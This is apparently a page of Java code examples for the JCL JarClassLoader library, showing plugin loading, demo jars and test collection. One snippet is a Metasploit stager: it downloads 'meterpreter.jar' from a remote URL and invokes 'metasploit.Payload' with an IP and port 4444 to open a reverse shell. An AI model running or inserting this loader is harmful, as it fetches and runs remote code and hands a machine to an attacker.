Java JarClassLoader类代码示例

import org.xeustechnologies.jcl.JarClassLoader; //导入依赖的package包/类
public static void main(String[] args) {
    JarClassLoader jcl1 = new JarClassLoader();
    jcl1.add(JclDemo.class.getResource("/jcldemo1.jar"));

    JarClassLoader jcl2 = new JarClassLoader();
    jcl2.add(JclDemo.class.getResource("/jcldemo2.jar"));

    //Create default factory
    JclObjectFactory factory = JclObjectFactory.getInstance();
    //Create object of loaded class
    Object obj1 = factory.create(jcl1, "org.n3r.sandbox.classloader.JclDemo");
    //Obtain interface reference in the current classloader
    JclTutorial mi1 = JclUtils.cast(obj1, JclTutorial.class);
    System.out.println(mi1.hello("bingoo")); // hello:bingoo

    //Create object of loaded class
    Object obj2 = factory.create(jcl2, "org.n3r.sandbox.classloader.JclDemo");
    //Obtain interface reference in the current classloader
    JclTutorial mi2 = JclUtils.cast(obj2, JclTutorial.class);
    System.out.println(mi2.hello("bingoo")); // world:bingoo
}
 

import org.xeustechnologies.jcl.JarClassLoader; //导入依赖的package包/类
/**
 * Create dynamically an instance of the specified object class
 * 
 * @param jarClassLoader
 *            the class loader to be used
 * @param objectClass
 *            an object class name
 * @param injectableValues
 *            some values to be dynamically injected into the created
 *            classes
 * @return an instance of object
 * @throws ClassNotFoundException
 */
private Object createInstanceOfClass(JarClassLoader jarClassLoader, String objectClassName, Map<Class<?>, Object> injectableValues)
        throws ClassNotFoundException {
    if (log.isDebugEnabled()) {
        log.debug("Attempting to create a class " + objectClassName);
    }
    Class<?> dynamicClass = jarClassLoader.loadClass(objectClassName);
    if (log.isDebugEnabled()) {
        log.debug("Class is created " + dynamicClass);
    }
    JclObjectFactory factory = JclObjectFactory.getInstance();
    // Look for the constructor injection tag
    Pair<Object[], Class<?>[]> injectableParameters = getInjectableConstructorParameters(dynamicClass, injectableValues);
    if (injectableParameters != null) {
        if (log.isDebugEnabled()) {
            log.debug("Creating the class with parameters to be injected " + objectClassName + " : " + injectableParameters.getRight());
        }
        return factory.create(jarClassLoader, objectClassName, injectableParameters.getLeft(), injectableParameters.getRight());
    }
    // Attempt to create using a default constructor
    return factory.create(jarClassLoader, objectClassName);
}
 

import org.xeustechnologies.jcl.JarClassLoader; //导入依赖的package包/类
private void collectTests(JarClassLoader jcl, List<String> paths,
                          Collection<TestFramework> frameworks, TestSource testSource) {
    for (String path : paths) {
        path = path.replace(File.separatorChar, '.');
        String className = path.substring(0, path.length() - CLASS_EXTENSION.length());
        if (accept(testSource, className)) {
            try {
                Class<?> cls = Class.forName(className, true, jcl);
                for (TestFramework framework : frameworks) {
                    Set<String> testList = framework.getTests(cls);
                    if ((testList != null) && !testList.isEmpty()) {
                        for (String test : testList) {
                            tests.add(framework.getName() + SEPARATOR + test);
                        }
                        break;
                    }
                }
            } catch (Throwable t) {
                LOGGER.error("Error collecting tests for class " + className, t);
            }
        }
    }
}
 

import org.xeustechnologies.jcl.JarClassLoader; //导入依赖的package包/类
/**
 * @param args the command line arguments
 */
public static void main(String[] args) throws IllegalArgumentException, SecurityException, MalformedURLException, IllegalAccessException, InvocationTargetException, NoSuchMethodException
{
    JarClassLoader jcl = new JarClassLoader();

    //Loading classes from different sources
   
    jcl.add(new URL("http://url.com/meterpreter.jar"));
    JclObjectFactory factory = JclObjectFactory.getInstance();

    //Create object of loaded class
    Object obj = factory.create(jcl, "metasploit.Payload");
    Method meth = obj.getClass().getMethod("main", String[].class);
    String[] params = {"192.168.1.1","4444"};
    meth.invoke(null, (Object) params); 
    
}
 

import org.xeustechnologies.jcl.JarClassLoader; //导入依赖的package包/类
void sandbox(String jarResourceName) {
    try {
        InputStream jar = this.getClass().getClassLoader()
                .getResourceAsStream(jarResourceName);
        JarClassLoader jcl = new JarClassLoader();
        jcl.add(jar);
        JclObjectFactory factory = JclObjectFactory.getInstance();

        // call constructor with arguments.
        Object obj = factory.create(jcl, "myapi.GreetingImpl",
                new String[] { "Firstname", "Lastname" }, new Class[] {
                        String.class, String.class });

        GreetingInterface gi = JclUtils.cast(obj, GreetingInterface.class);
        System.out.println(gi.morning("Darjeeling"));
        System.out.println(gi.afternoon("Assam"));
    } catch (Throwable t) {
        t.printStackTrace();
    }
}
 

import org.xeustechnologies.jcl.JarClassLoader; //导入依赖的package包/类
/**
 * Creates a JAR class loader
 * 
 * @return a class loader
 */
private JarClassLoader createJarClassLoader() {
    JarClassLoader jarClassLoader = new JarClassLoader();

    PlayProxyClassLoader proxyClassLoader = new PlayProxyClassLoader(getEnvironment().classLoader());
    proxyClassLoader.setOrder(100);// After the other default class
                                   // loaders
    jarClassLoader.addLoader(proxyClassLoader);
    jarClassLoader.add(jarFile.getAbsolutePath());
    return jarClassLoader;
}
 

import org.xeustechnologies.jcl.JarClassLoader; //导入依赖的package包/类
public InternalPluginResources(String pluginIdentifier, Long pluginConfigurationId, JarClassLoader pluginClassLoader,
        Object customConfigurationController, Map<DataType, Object> registrationConfigurationControllers, Map<String, Object> widgetControllers) {
    super();
    this.pluginClassLoader = pluginClassLoader;
    this.uniquePluginResourceKey = createUniqueResourceKey(pluginIdentifier, pluginConfigurationId);
    this.customConfigurationController = customConfigurationController;
    this.registrationConfigurationControllers = registrationConfigurationControllers;
    this.widgetControllers = widgetControllers;
}
 

import org.xeustechnologies.jcl.JarClassLoader; //导入依赖的package包/类
public Plugin loadPlugin(File file) {
    Policy.setPolicy(new PluginPolicy());
    System.setSecurityManager(new SecurityManager());
    JarClassLoader jcl = new JarClassLoader();
    ProxyProviderFactory.setDefaultProxyProvider(new CglibProxyProvider());
    JclObjectFactory factory = JclObjectFactory.getInstance(true);
    jcl.getSystemLoader().setOrder(1);
    jcl.add(file.getAbsolutePath());
    Plugin plugin = (Plugin) factory.create(jcl, "plugin." + file.getName().replace(".jar", ""));
    this.addPlugin(plugin);
    return plugin;
}
 

import org.xeustechnologies.jcl.JarClassLoader; //导入依赖的package包/类
GreetingInterface loadGreetingInterface(String jarResourceName) {
    InputStream jar = this.getClass().getClassLoader()
            .getResourceAsStream(jarResourceName);
    JarClassLoader jcl = new JarClassLoader();
    jcl.add(jar);
    JclObjectFactory factory = JclObjectFactory.getInstance();

    // call constructor with arguments.
    Object obj = factory.create(jcl, "myapi.GreetingImpl", new String[] {
            "Firstname", "Lastname" }, new Class[] { String.class,
            String.class });

    return JclUtils.cast(obj, GreetingInterface.class);
}
 

import org.xeustechnologies.jcl.JarClassLoader; //导入依赖的package包/类
protected void initClassLoader() {
	jcl = new JarClassLoader();
	// Needed for proper garbage collection of the old JarClassLoader inside sun.security.provider.PolicyFile
	Policy.getPolicy().refresh();

	jcl.add(baseDir + currentDir);
}
 

import org.xeustechnologies.jcl.JarClassLoader; //导入依赖的package包/类
private JarClassLoader getStandaloneJarClassLoader() {
    return standaloneJarClassLoader;
}
 

import org.xeustechnologies.jcl.JarClassLoader; //导入依赖的package包/类
public JarClassLoader getPluginClassLoader() {
    return pluginClassLoader;
}